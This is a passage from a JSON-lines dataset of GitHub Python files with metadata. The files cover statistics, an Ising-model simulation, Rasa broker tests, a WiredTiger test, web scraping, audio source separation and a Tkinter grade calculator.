calculate_phi_coefficient(table):\n # 分割表から値を取得\n a, b = table[0]\n c, d = table[1]\n\n # ファイ係数の計算\n numerator = a * d - b * c\n denominator = ((a + b) * (a + c) * (b + d) * (c + d)) ** 0.5\n phi = numerator / denominator\n return phi\n\n\n# 2x2分割表の例\ncontingency_table = [\n [10, 5], # 例えば、病気ありの人の変異あり、変異なしの人数\n [20, 40],\n] # 病気なしの人の変異あり、変異なしの人数\n\n# ファイ係数の計算\nphi_coefficient = calculate_phi_coefficient(contingency_table)\nprint(\"ファイ係数:\", phi_coefficient)\n\n\n# 既存モジュールを使用する場合\nimport scipy.stats as stats\n\n# 2x2の分割表\ncontingency_table = [[10, 5], [20, 40]] # 例:病気ありの人の変異あり、変異なしの人数 # 病気なしの人の変異あり、変異なしの人数\n\n# ファイ係数の計算\nchi2, p, dof, expected = stats.chi2_contingency(contingency_table)\ntotal_sum = sum([sum(row) for row in contingency_table]) # 全要素の合計\nphi_coefficient = (chi2 / total_sum) ** 0.5\n\nprint(\"ファイ係数:\", phi_coefficient)\n","repo_name":"Takuya-ops/code","sub_path":"python/phi.py","file_name":"phi.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6308392504","text":"from sqlalchemy import MetaData, Table, create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\nfrom matching.config import ConfigurationFactory\n\nconfig = ConfigurationFactory.from_env()\nengine = create_engine(config.SQLALCHEMY_DATABASE_URI)\nSession = scoped_session(sessionmaker(bind=engine))\n\ndef init_individual_table():\n '''\n This function abstracts a Table with Individual metadata from the MCI database.\n\n References:\n - http://flask.pocoo.org/docs/1.0/patterns/sqlalchemy/#sql-abstraction-layer\n - https://docs.sqlalchemy.org/en/13/core/metadata.html\n '''\n\n metadata = MetaData(bind=engine)\n individual = Table('individual', metadata, autoload=True)\n\n return individual\n","repo_name":"brighthive/mci-matching-service","sub_path":"matching/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18193587324","text":"import os\nimport shutil\n\nfrom tqdm import tqdm\n\neval_dir = './results_eval/20220922153434'\n\nif __name__ == '__main__':\n log_path = os.path.join(eval_dir, 'log.txt')\n debug_dir = os.path.join(eval_dir, 'debug')\n os.makedirs(debug_dir, exist_ok=True)\n\n with open(log_path) as rf:\n rf.readline()\n for line in tqdm(rf.readlines()):\n if line[0] == '*':\n break\n img_path, t, p = line.replace('\\n', '').split(',')\n img_filename = os.path.basename(img_path)\n fn, ext = os.path.splitext(img_filename)\n gt_filename = '{}_GT{}'.format(fn, ext)\n gt_path = img_path.replace(img_filename, gt_filename)\n\n if not os.path.isfile(img_path):\n print('File Not Found! ({})'.format(img_path))\n raise FileNotFoundError\n if not os.path.isfile(gt_path):\n print('File Not Found! ({})'.format(gt_path))\n raise FileNotFoundError\n\n save_dir = os.path.join(debug_dir, 'true {} pred {}'.format(t, p))\n os.makedirs(save_dir, exist_ok=True)\n\n shutil.copy2(img_path, os.path.join(save_dir, img_filename))\n shutil.copy2(gt_path, os.path.join(save_dir, gt_filename))\n","repo_name":"KeunhoByeon/detect_defects","sub_path":"check_eval_results.py","file_name":"check_eval_results.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18954337987","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport json\r\nfrom bottle import route, run\r\n\r\n\r\n \r\n\r\nresult = requests.get(\"https://www.news18.com/india/\")\r\n\r\n\r\nprint(result.status_code)\r\n\r\nsrc=result.content\r\nsoup=BeautifulSoup(src,'lxml')\r\n\r\nurls = []\r\nfor a_tag in soup.find_all('p'):\r\n title_tag = a_tag.find('a')\r\n urls.append(title_tag)\r\n\r\n#print(urls)\r\n\r\n\r\nL = ['L','O','L']\r\nmakeitastring = ''.join(map(str,urls))\r\n#print(makeitastring)\r\n\r\nx = {\r\n \"name\": \"anormous\",\r\n \"news\": makeitastring,\r\n \"city\": \"un\"\r\n}\r\ny = json.dumps(x)\r\n\r\nprint(y)\r\n\r\n@route('/')\r\ndef home():\r\n return \"<h1> Home page<h1>\"\r\n\r\n@route('/api')\r\ndef hello():\r\n return {\"news\":y}\r\n\r\nrun(host='localhost', port=8080, debug=True)\r\n ","repo_name":"vivekchauhan12000/webscaping-bs4-and-converting-it-api","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22565079327","text":"class TrieNode:\n def __init__(self):\n self.is_end = False\n self.children = {}\n \nclass Solution:\n\n def __init__(self):\n self.root = TrieNode()\n\n def insert(self, word: str) -> None:\n current = self.root\n for char in word:\n if char not in current.children:\n current.children[char] = TrieNode()\n current = current.children[char]\n current.is_end = True\n\n def max_len(self, word:str) -> int:\n \n count = 0\n current = self.root\n current.is_end = True\n \n for w in word:\n \n \n # current = current.children[w]\n \n if current.is_end:\n \n current = current.children[w]\n count += 1\n else:\n print(\"oo\")\n return 0\n\n return count\n \n\n\n\n\n def longestWord(self, words: List[str]) -> str:\n \n ans = \"\"\n count = 0\n l = 0\n\n for word in words:\n self.insert(word)\n for word in words:\n l = self.max_len(word)\n\n if l > count:\n count = l\n ans = word\n\n if l == count and word < ans:\n ans = word\n\n return ans","repo_name":"miedan/competetive-programming","sub_path":"longest-word-in-dictionary.py","file_name":"longest-word-in-dictionary.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3678454920","text":"import json\nfrom unittest.mock import patch\n\nfrom _pytest.monkeypatch import MonkeyPatch\n\nfrom rasa.core.brokers.broker import EventBroker\nfrom rasa.core.brokers.file import FileEventBroker\nfrom rasa.core.brokers.kafka import KafkaEventBroker\nfrom rasa.core.brokers.pika import PikaEventBroker\nfrom rasa.core.brokers.sql import SQLEventBroker\nfrom rasa.core.events import Event, Restarted, SlotSet, UserUttered\nfrom rasa.utils.endpoints import EndpointConfig, read_endpoint_config\nfrom tests.core.conftest import DEFAULT_ENDPOINTS_FILE\n\nTEST_EVENTS = [\n UserUttered(\"/greet\", {\"name\": \"greet\", \"confidence\": 1.0}, []),\n SlotSet(\"name\", \"rasa\"),\n Restarted(),\n]\n\n\ndef test_pika_broker_from_config():\n cfg = read_endpoint_config(\n \"data/test_endpoints/event_brokers/pika_endpoint.yml\", \"event_broker\"\n )\n actual = EventBroker.create(cfg)\n\n assert isinstance(actual, PikaEventBroker)\n assert actual.host == \"localhost\"\n assert actual.username == \"username\"\n assert actual.queue == \"queue\"\n\n\n# noinspection PyProtectedMember\ndef test_pika_message_property_app_id(monkeypatch: MonkeyPatch):\n # patch PikaProducer so it doesn't try to connect to RabbitMQ on init\n with patch.object(PikaEventBroker, \"_run_pika\", lambda _: None):\n pika_producer = PikaEventBroker(\"\", \"\", \"\")\n\n # unset RASA_ENVIRONMENT env var results in empty App ID\n monkeypatch.delenv(\"RASA_ENVIRONMENT\", raising=False)\n assert not pika_producer._message_properties.app_id\n\n # setting it to some value results in that value as the App ID\n rasa_environment = \"some-test-environment\"\n monkeypatch.setenv(\"RASA_ENVIRONMENT\", rasa_environment)\n assert pika_producer._message_properties.app_id == rasa_environment\n\n\ndef test_no_broker_in_config():\n cfg = read_endpoint_config(DEFAULT_ENDPOINTS_FILE, \"event_broker\")\n\n actual = EventBroker.create(cfg)\n\n assert actual is None\n\n\ndef test_sql_broker_from_config():\n cfg = read_endpoint_config(\n \"data/test_endpoints/event_brokers/sql_endpoint.yml\", \"event_broker\"\n )\n actual = EventBroker.create(cfg)\n\n assert isinstance(actual, SQLEventBroker)\n assert actual.engine.name == \"sqlite\"\n\n\ndef test_sql_broker_logs_to_sql_db():\n cfg = read_endpoint_config(\n \"data/test_endpoints/event_brokers/sql_endpoint.yml\", \"event_broker\"\n )\n actual = EventBroker.create(cfg)\n\n assert isinstance(actual, SQLEventBroker)\n\n for e in TEST_EVENTS:\n actual.publish(e.as_dict())\n\n with actual.session_scope() as session:\n events_types = [\n json.loads(event.data)[\"event\"]\n for event in session.query(actual.SQLBrokerEvent).all()\n ]\n\n assert events_types == [\"user\", \"slot\", \"restart\"]\n\n\ndef test_file_broker_from_config():\n cfg = read_endpoint_config(\n \"data/test_endpoints/event_brokers/file_endpoint.yml\", \"event_broker\"\n )\n actual = EventBroker.create(cfg)\n\n assert isinstance(actual, FileEventBroker)\n assert actual.path == \"rasa_event.log\"\n\n\ndef test_file_broker_logs_to_file(tmpdir):\n fname = tmpdir.join(\"events.log\").strpath\n\n actual = EventBroker.create(EndpointConfig(**{\"type\": \"file\", \"path\": fname}))\n\n for e in TEST_EVENTS:\n actual.publish(e.as_dict())\n\n # reading the events from the file one event per line\n recovered = []\n with open(fname, \"r\") as f:\n for l in f:\n recovered.append(Event.from_parameters(json.loads(l)))\n\n assert recovered == TEST_EVENTS\n\n\ndef test_file_broker_properly_logs_newlines(tmpdir):\n fname = tmpdir.join(\"events.log\").strpath\n\n actual = EventBroker.create(EndpointConfig(**{\"type\": \"file\", \"path\": fname}))\n\n event_with_newline = UserUttered(\"hello \\n there\")\n\n actual.publish(event_with_newline.as_dict())\n\n # reading the events from the file one event per line\n recovered = []\n with open(fname, \"r\") as f:\n for l in f:\n recovered.append(Event.from_parameters(json.loads(l)))\n\n assert recovered == [event_with_newline]\n\n\ndef test_load_custom_broker_name():\n config = EndpointConfig(**{\"type\": \"rasa.core.brokers.file.FileEventBroker\"})\n assert EventBroker.create(config)\n\n\ndef test_load_non_existent_custom_broker_name():\n config = EndpointConfig(**{\"type\": \"rasa.core.brokers.my.MyProducer\"})\n assert EventBroker.create(config) is None\n\n\ndef test_kafka_broker_from_config():\n endpoints_path = \"data/test_endpoints/event_brokers/kafka_plaintext_endpoint.yml\"\n cfg = read_endpoint_config(endpoints_path, \"event_broker\")\n\n actual = KafkaEventBroker.from_endpoint_config(cfg)\n\n expected = KafkaEventBroker(\n \"localhost\",\n \"username\",\n \"password\",\n topic=\"topic\",\n security_protocol=\"SASL_PLAINTEXT\",\n )\n\n assert actual.host == expected.host\n assert actual.sasl_username == expected.sasl_username\n assert actual.sasl_password == expected.sasl_password\n assert actual.topic == expected.topic\n","repo_name":"msamogh/rasa-frames","sub_path":"tests/core/test_broker.py","file_name":"test_broker.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"8395735757","text":"import random\nimport numpy as np\nimport pandas as pd\nimport math\n\ndef SaveMagAndPod(range_T, L, steps, orderly = True):\n \"\"\"Zwraca przedział czasowy, wartości magnetyzacji, wartości podatności\"\"\"\n T = np.linspace(range_T[0], range_T[1], 40)\n mag = []\n pod = []\n for i in T:\n m, p = MCSIsingForMagAndPod(L, i, steps, orderly)\n mag.append(m)\n pod.append(p)\n saveList(T, \"partTimeL\"+str(L)+\".txt\")\n saveList(mag, \"magnetizationL\"+str(L)+\".txt\")\n saveList(pod, \"pliancyL\"+str(L)+\".txt\")\n return T, mag, pod\n\n\ndef MCSIsingForMagAndPod(L, T, steps, orderly = True):\n \"\"\"Zwraca wartość magnetyzacji i podatności magnetycznej w jednej symulacji\"\"\"\n data = np.ones((L, L))\n if orderly != True: # ustawia losowe wartości spinów\n for i in range(L):\n for j in range(L):\n u = random.random()\n if u >= 0.5:\n data[i,j] = -1\n m = [sum(sum(data))/L**2]\n for i in range(int(steps)):\n m.append(MCSFlip(data,L,T))\n new_m = m[10000:]\n length = len(new_m)\n mag = sum(np.abs(new_m))/length\n pod = L**2*(sum([i**2 for i in new_m])/length-mag**2)/T\n return mag, pod\n\ndef SaveTrajectory(n, L, T, steps, orderly = True):\n for i in range(n):\n m = justM(L, T, steps, orderly)\n saveList(m, 'mListL'+str(L)+'T'+str(T)+'Nr'+str(i)+'.txt')\n\ndef justM(L,T,steps, orderly = True):\n data = np.ones((L, L))\n if orderly != True: # ustawia losowe wartości spinów\n for i in range(L):\n for j in range(L):\n u = random.random()\n if u >= 0.5:\n data[i, j] = -1\n m = [sum(sum(data)) / L ** 2]\n for i in range(int(steps)):\n m.append(MCSFlip(data, L, T))\n return m\n\n\n\ndef SaveSpinsAndTrajectory(L, T, steps, orderly = True):\n m, t, data_list = MCSIsing(L, T, steps, orderly)\n saveList(m, 'mListL'+str(L)+'T'+str(T)+'.txt')\n\ndef MCSIsing(L, T, steps, orderly = True):\n \"\"\"Dla zadanej wielkości tworzy siatkę spinów,\n zwraca listę średnich wartości spinów po każdym kroku MC\n \"\"\"\n data = np.ones((L, L))\n data_list = [data]\n if orderly != True: # ustawia losowe wartości spinów\n for i in range(L):\n for j in range(L):\n u = random.random()\n if u >= 0.5:\n data[i,j] = -1\n m = [sum(sum(data))/L**2]\n t = list(range(0,steps+1))\n saveData(data, 'spinsL' + str(L) +'T'+str(T)+ 'stateNumber0.csv')\n for j in range(4):\n for i in range(int(steps/4)):\n m.append(MCSFlip(data,L,T))\n data_list.append(data)\n saveData(data_list[j+1], 'spinsL'+str(L)+'T'+str(T)+'stateNumber'+str(j+1)+'.csv')\n return m, t, data_list\n\n\ndef MCSFlip(data,L,T):\n \"\"\"Sekewencja zmiany spinów dla 1 kroku Monte Carlo\"\"\"\n for i in range(L**2):\n singleFlip(data, L, T)\n return sum(sum(data))/L**2\n\ndef singleFlip(data, L, T):\n \"\"\"Sekwencyjna zmiana pojedynczego spinu\n data - siatka spinów\n L - długość siatki !musi być poprawna!\"\"\"\n i, j = math.floor(random.random()*L), math.floor(random.random()*L)\n E = 0\n if i == L-1 or j ==L-1:\n\n if i == L-1 and j != L-1:\n E = 2*data[i, j]*(data[i-1, j] + data[0, j] + data[i, j-1] + data[i, j+1])\n\n elif i != L-1 and j == L-1:\n E = 2 * data[i, j] * (data[i - 1, j] + data[i + 1, j] + data[i, j - 1] + data[i, 0])\n\n else:\n E = 2 * data[i, j] * (data[i - 1, j] + data[0, j] + data[i, j - 1] + data[i, 0])\n\n else: E = 2*data[i, j]*(data[i-1, j] + data[i+1, j] + data[i, j-1] + data[i, j+1])\n\n if E <= 0:\n data[i, j] = -data[i, j]\n else:\n x = random.random()\n if x < math.exp(-E/T):\n data[i, j] = -data[i, j]\n\ndef saveList(list,name):\n \"\"\"Zapisuje listę do pliku txt\"\"\"\n textfile = open(name,\"w\")\n for i in list:\n textfile.write(str(i) + \"\\n\")\n textfile.close()\n\ndef saveData(data,name):\n \"\"\" Zapisauje dane do pliku csv\n data - tablica dwuwymiarowa\n name - string w formacie nazwa.csv \"\"\"\n df = pd.DataFrame(data=data.astype(float))\n df = df.astype(int)\n df.to_csv(name, sep=' ', header=False, index=False)","repo_name":"CodeUndI/ising-model","sub_path":"PyCharmIsing/singleFlipDynamic.py","file_name":"singleFlipDynamic.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2216221874","text":"\"\"\"Parses the search page for vacancies\"\"\"\nimport json\nimport requests\n\nfrom bs4 import BeautifulSoup\n\nfrom core.constants import ROOT_URL\nfrom core.headers_generation import get_random_headers\n\n\nclass PageParser:\n \"\"\"Parses the search page for vacancies\"\"\"\n def __init__(self, url: str, **restrictions):\n self._url = url\n self._vacancies_data = []\n self._last_vacancies_page_count = 0\n self._parse(**restrictions)\n\n def _parse(self, **restrictions) -> None:\n \"\"\"Parses the page's html and stores the data that was found\"\"\"\n response = requests.get(self._url, headers=get_random_headers(), timeout=15)\n page_bs = BeautifulSoup(response.text, 'html.parser')\n\n data = json.loads(page_bs.find('script', type='application/json').text)\n\n vacancies_list = data[\"vacancies\"][\"list\"]\n self._last_vacancies_page_count = len(vacancies_list)\n\n for vacancy_dict in vacancies_list:\n vacancy_data = {\"id\": vacancy_dict[\"id\"],\n \"url\": \"\".join([ROOT_URL, vacancy_dict[\"href\"]]),\n \"title\": vacancy_dict[\"title\"],\n \"specialization\": vacancy_dict[\"divisions\"][0][\"title\"]\n if vacancy_dict.get(\"divisions\") else None,\n \"qualification\": vacancy_dict[\"salaryQualification\"]['title']\n if vacancy_dict.get(\"salaryQualification\") else None,\n \"location:\": vacancy_dict[\"locations\"][0][\"title\"]\n if vacancy_dict.get(\"locations\") else None}\n\n if restrictions.get(\"qualifications\"):\n if vacancy_data[\"qualification\"] not in restrictions[\"qualifications\"]:\n continue\n\n self._vacancies_data.append(vacancy_data)\n\n def get_parsed_data(self) -> list:\n \"\"\"Returns the parsed data\"\"\"\n return self._vacancies_data\n\n def is_last_page(self, expected_results_amount: int) -> bool:\n \"\"\"Checks whether the current page is the last one and scrapping should be stopped\"\"\"\n return self._last_vacancies_page_count < expected_results_amount\n","repo_name":"tatarinovst2/vacancies-scraping-and-visualization","sub_path":"core/page_parser.py","file_name":"page_parser.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74901741543","text":"import numpy as np\nimport scipy\nimport scipy.io.wavfile\nimport time\nfrom librosa import load\n\nimport glob\nimport os\n\n# from timit import SAMPLE_RATE, BITS_PER_SAMPLE\n\nEPSI = 1e-12 # constant to avoid division by zero\nD = 48 # 24 # Number of quantization levels for DOA angle\nWINDOW_SIZE = 1024 # window for the STFT\nHOP_SIZE = 256 # overlap for the STFT\nSAMPLE_RATE = 16000 # voc corpus\nSPEED_OF_SOUND = 342.0\nMIC_SEP = SPEED_OF_SOUND/SAMPLE_RATE # Separation between mics in meters corresponding to a one-sample delay\nMIC_LOCS = np.array([[0, 0, 0], [MIC_SEP, 0, 0], [0, MIC_SEP, 0]])\n\n__author__ = 'tfk, nstein'\n\ndef listdir_nohidden(path):\n return glob.glob(os.path.join(path, '*'))\n\ndef determine_pinv(mics):\n locs = []\n for mic in mics:\n locs.append(mic.position)\n\n locs = np.asarray(locs)\n\n pinv = np.linalg.pinv(locs[1:, :2] - locs[0, :2])\n\n return pinv\n\ndef normalize(x, axis=None):\n return x / (np.sum(x, axis, keepdims=True) + EPSI)\n\n\n\ndef stft(x, window=None):\n if window is None:\n window = np.hamming(WINDOW_SIZE)\n x_stft = np.array(\n [scipy.fft(window * x[i:i + WINDOW_SIZE])[:WINDOW_SIZE / 2 + 1] for i in xrange(0, len(x) - WINDOW_SIZE, HOP_SIZE)])\n return x_stft.T\n\n\ndef istft(x_stft, ts, window=None):\n x = np.zeros(ts)\n if window is None:\n window = np.hamming(WINDOW_SIZE)\n for n, i in enumerate(range(0, len(x) - WINDOW_SIZE, HOP_SIZE)):\n x[i:i + WINDOW_SIZE] += \\\n window * np.real(scipy.ifft(np.concatenate((x_stft[:, n], np.flipud(x_stft[1:-1, n]).conj()))))\n return x\n\n\ndef apply_masks(stft_to_mask, masks, ts, K):\n return np.vstack([istft(mask[:, :, 0]*stft_to_mask, ts) for mask in np.split(masks, K, axis=2)])\n\n\ndef fast_doa(angles, pinv):\n angles_diff = (angles[1:, :] - angles[0, :] + np.pi) % (2 * np.pi) - np.pi\n alpha = np.dot(pinv, angles_diff)\n return np.arctan2(-alpha[1, :], -alpha[0, :])\n\n\ndef extract_stft_pobs_and_d(mix, mics, mic_nr=0):\n mic_count = len(mix)\n\n start = time.time()\n stfts = np.dstack([stft(x.flatten()) for x in np.split(mix, mic_count, axis=0)])\n\n pobs = normalize(np.abs(stfts[:, :, mic_nr]))\n\n after_stfts = time.time()\n F, T = pobs.shape\n angles = np.angle(stfts)\n doa = fast_doa(angles.reshape(F*T, mic_count).T, determine_pinv(mics)).reshape(F, T)\n d = np.floor(D*(doa + np.pi)/(2*np.pi+EPSI))\n after_doa = time.time()\n return stfts[:, :, mic_nr], pobs, d, after_stfts-start, after_doa-after_stfts\n\ndef multi_extract(signal, mics):\n mic_count = len(mix)\n\n start = time.time()\n stfts = np.dstack([stft(x.flatten()) for x in np.split(mix, mic_count, axis=0)])\n\n pobs = normalize(np.abs(stfts))\n\n\n after_stfts = time.time()\n F, T = pobs.shape\n angles = np.angle(stfts)\n doa = fast_doa(angles.reshape(F*T, mic_count).T, determine_pinv(mics)).reshape(F, T)\n d = np.floor(D*(doa + np.pi)/(2*np.pi+EPSI))\n after_doa = time.time()\n return stfts, pobs, d, after_stfts-start, after_doa-after_stfts\n\n\n\ndef read_wav(filename):\n # _, data = scipy.io.wavfile.read(filename)\n data, _ = load(filename)\n # return np.array(data, dtype='float')/(2**(BITS_PER_SAMPLE-1))\n return data\n\n\ndef write_wav(filename, data, sample_rate):\n scipy.io.wavfile.write(filename, sample_rate, 0.9*data/np.abs(data).max())\n\n\ndef determine_A(F, fs, N, max_theta=56,max_azimuth=66,radius=1):\n speed_of_sound = 344\n O = max_azimuth * max_theta\n A = np.zeros((F, O, np.power(len(MIC_LOCS),2)), dtype=\"complex\")\n\n # for theta in range(max_theta):\n # for azimuth in range(max_azimuth):\n # k_o = np.asarray([np.cos(np.deg2rad(theta)),np.sin(np.deg2rad(azimuth)),radius])\n # for n in range(len(MIC_LOCS)):\n # tav_n = np.negative(k_o).T.dot(MIC_LOCS[n]) / speed_of_sound\n # for m in range(len(MIC_LOCS)):\n # tav_m = np.negative(k_o).T.dot(MIC_LOCS[m]) / speed_of_sound\n # for i in range(F):\n # f_i = (i - 1) * fs/F\n # W[i, (theta*max_theta) + azimuth, (n * len(MIC_LOCS))+m] = np.exp(1j*2*np.pi*f_i*tav_n - tav_m)\n\n azimuth = 0\n theta = 0\n for ta in range(max_theta * max_azimuth):\n if azimuth == max_azimuth:\n theta += 1\n azimuth = 0\n n = 0\n m = 0\n k_o = np.asarray([np.cos(np.deg2rad(theta)), np.sin(np.deg2rad(azimuth)), radius])\n for nm in range(len(MIC_LOCS) * len(MIC_LOCS)):\n if m == len(MIC_LOCS):\n n += 1\n m = 0\n tav_n = np.negative(k_o).T.dot(MIC_LOCS[n]) / speed_of_sound\n tav_m = np.negative(k_o).T.dot(MIC_LOCS[m]) / speed_of_sound\n for i in range(F):\n f_i = (i - 1) * fs / F\n A[i, ta, nm] = np.exp(1j * 2 * np.pi * f_i * tav_n - tav_m)\n azimuth += 1\n\n return A\n","repo_name":"TeunKrikke/SourceSeparationNMF","sub_path":"TDOANTF/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4907,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"36955484499","text":"import wiredtiger, wttest\nfrom wtscenario import make_scenarios\n\n# test_hs15.py\n# Ensure eviction doesn't clear the history store again after checkpoint has done so because of the same update without timestamp.\nclass test_hs15(wttest.WiredTigerTestCase):\n conn_config = 'cache_size=5MB'\n format_values = [\n ('column', dict(key_format='r', value_format='S')),\n ('column-fix', dict(key_format='r', value_format='8t')),\n ('string-row', dict(key_format='S', value_format='S'))\n ]\n scenarios = make_scenarios(format_values)\n\n def create_key(self, i):\n if self.key_format == 'S':\n return str(i)\n return i\n\n def test_hs15(self):\n uri = 'table:test_hs15'\n format = 'key_format={},value_format={}'.format(self.key_format, self.value_format)\n self.session.create(uri, format)\n cursor = self.session.open_cursor(uri)\n\n if self.value_format == '8t':\n value1 = 97\n value2 = 98\n value3 = 99\n else:\n value1 = 'a' * 500\n value2 = 'b' * 500\n value3 = 'c' * 500\n\n # Insert an update without timestamp\n self.session.begin_transaction()\n cursor[self.create_key(1)] = value1\n self.session.commit_transaction()\n\n # Insert a bunch of other contents to trigger eviction\n for i in range(2, 1000):\n self.session.begin_transaction()\n cursor[self.create_key(i)] = value2\n self.session.commit_transaction('commit_timestamp=' + self.timestamp_str(3))\n\n # Do a modify and an update with timestamps (for FLCS, just modifies)\n self.session.begin_transaction()\n cursor.set_key(self.create_key(1))\n if self.value_format == '8t':\n cursor.set_value(66)\n self.assertEqual(cursor.update(), 0)\n else:\n mods = [wiredtiger.Modify('B', 100, 1)]\n self.assertEqual(cursor.modify(mods), 0)\n self.session.commit_transaction('commit_timestamp=' + self.timestamp_str(1))\n\n self.session.begin_transaction()\n cursor[self.create_key(1)] = value2\n self.session.commit_transaction('commit_timestamp=' + self.timestamp_str(2))\n\n # Make the modify with timestamp and the update without timestamp obsolete\n self.conn.set_timestamp('oldest_timestamp=' + self.timestamp_str(1))\n\n # Do a checkpoint\n self.session.checkpoint()\n\n self.session.begin_transaction()\n cursor[self.create_key(1)] = value3\n self.session.commit_transaction('commit_timestamp=' + self.timestamp_str(3))\n\n # Insert a bunch of other contents to trigger eviction\n for i in range(2, 1000):\n self.session.begin_transaction()\n cursor[self.create_key(i)] = value3\n self.session.commit_transaction('commit_timestamp=' + self.timestamp_str(3))\n\n if self.value_format == '8t':\n expected = 66 # 'B'\n else:\n expected = list(value1)\n expected[100] = 'B'\n expected = str().join(expected)\n self.session.begin_transaction('read_timestamp=' + self.timestamp_str(1))\n self.assertEqual(cursor[self.create_key(1)], expected)\n self.session.rollback_transaction()\n\n self.session.begin_transaction('read_timestamp=' + self.timestamp_str(2))\n self.assertEqual(cursor[self.create_key(1)], value2)\n self.session.rollback_transaction()\n\n self.session.begin_transaction('read_timestamp=' + self.timestamp_str(3))\n self.assertEqual(cursor[self.create_key(1)], value3)\n self.session.rollback_transaction()\n","repo_name":"mongodb/mongo","sub_path":"src/third_party/wiredtiger/test/suite/test_hs15.py","file_name":"test_hs15.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","stars":24670,"dataset":"github-code","pt":"36"} +{"seq_id":"30197338249","text":"class Contact:\n \"\"\"Contact information. \n the contact can be internal or working at the client company\"\"\"\n \n \n def __init__(self, code : str, \n fname : str, \n lname : str, \n email : str, \n phone : str, \n is_client = False, \n is_primary = False):\n self.code = code\n self.fname = fname\n self.lname = lname\n self.email = email\n self.phone = phone\n self.is_client = is_client\n self.is_primary = is_primary\n\n\n @classmethod\n def from_dict(cls, dico):\n return cls(\n code = dico[\"code\"],\n fname = dico[\"fname\"],\n lname = dico[\"lname\"],\n email = dico[\"email\"],\n phone = dico[\"phone\"],\n is_client = dico[\"is_client\"],\n is_primary = dico[\"is_primary\"]\n )\n\n\n def to_dict(self):\n return {\n 'code' : self.code, \n 'fname' : self.fname, \n 'lname' : self.lname, \n 'email' : self.email,\n 'phone' : self.phone,\n 'is_client' : self.is_client,\n 'is_primary' : self.is_primary\n }\n \n\n def __eq__(self, other):\n return self.to_dict() == other.to_dict()","repo_name":"youarhache/clients-projects-referential","sub_path":"projectsref/domain/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37084564080","text":"import tkinter\nimport tkinter.messagebox\n\nclass Points:\n def __init__(self):\n # создадим главное окно\n self.__main_window=tkinter.Tk()\n\n # создадим 5 рамок\n self.__frame1=tkinter.Frame(self.__main_window)\n self.__frame2 = tkinter.Frame(self.__main_window)\n self.__frame3 = tkinter.Frame(self.__main_window)\n self.__frame4 = tkinter.Frame(self.__main_window)\n self.__frame5 = tkinter.Frame(self.__main_window)\n\n # создадим строку и поле для первой рамки\n # строка\n self.__text1=tkinter.Label(self.__frame1,\n text='Ввести экзаменационную оценку №1: ')\n #окно для ввода данных\n self.__field1=tkinter.Entry(self.__frame1,width=10)\n\n #упакуем эти данные в рамку\n self.__text1.pack(side='left')\n self.__field1.pack(side='left')\n\n\n\n # создадим строку и поле для второй рамки\n # строка\n self.__text2 = tkinter.Label(self.__frame2,\n text='Ввести экзаменационную оценку №2: ')\n # окно для ввода данных\n self.__field2 = tkinter.Entry(self.__frame2, width=10)\n\n # упакуем эти данные в рамку\n self.__text2.pack(side='left')\n self.__field2.pack(side='left')\n\n # создадим строку и поле для третей рамки\n # строка\n self.__text3 = tkinter.Label(self.__frame3,\n text='Ввести экзаменационную оценку №3: ')\n # окно для ввода данных\n self.__field3 = tkinter.Entry(self.__frame3, width=10)\n\n # упакуем эти данные в рамку\n self.__text3.pack(side='left')\n self.__field3.pack(side='left')\n\n\n # создадим инфо поле,гдебудет выводиться результат подсчета баллов\n self.__result_text=tkinter.Label(self.__frame4,\n text='Средний балл: ')\n\n # создадим объект StringVar\n self.__object=tkinter.StringVar()\n\n # создадим надпись лейбл и свяжем ее с объектом\n self.__result_info=tkinter.Label(self.__frame4,\n textvariable=self.__object)\n\n # упакуем эти элементы в четвертую рамку\n self.__result_text.pack(side='left')\n self.__result_info.pack(side='left')\n\n # создадим эл-ты для самой нижней рамки\n # кнопка \"ПОсчитать\"\n self.__knopka=tkinter.Button(self.__frame5,\n text='Посчитать!',\n command=self.__calculate)\n # кнопка \"Выйти\"\n self.__exit=tkinter.Button(self.__frame5,\n text='Выйти',\n command=self.__main_window.destroy)\n\n # упакуем кнопки\n self.__knopka.pack(side='left')\n self.__exit.pack(side='left')\n\n # упакуем все 5 рамок\n self.__frame1.pack()\n self.__frame2.pack()\n self.__frame3.pack()\n self.__frame4.pack()\n self.__frame5.pack()\n\n # запустим главный цикл\n tkinter.mainloop()\n\n def __calculate(self):\n # получим данные по трем оценкам\n point1=float(self.__field1.get())\n point2 = float(self.__field2.get())\n point3 = float(self.__field3.get())\n\n # посчитаем среднюю\n middle_point=(point1+point2+point3)/3\n\n self.__object.set(middle_point)\n\n\n","repo_name":"Sautenko-Andrey/OOP-and-other","sub_path":"my_points.py","file_name":"my_points.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} 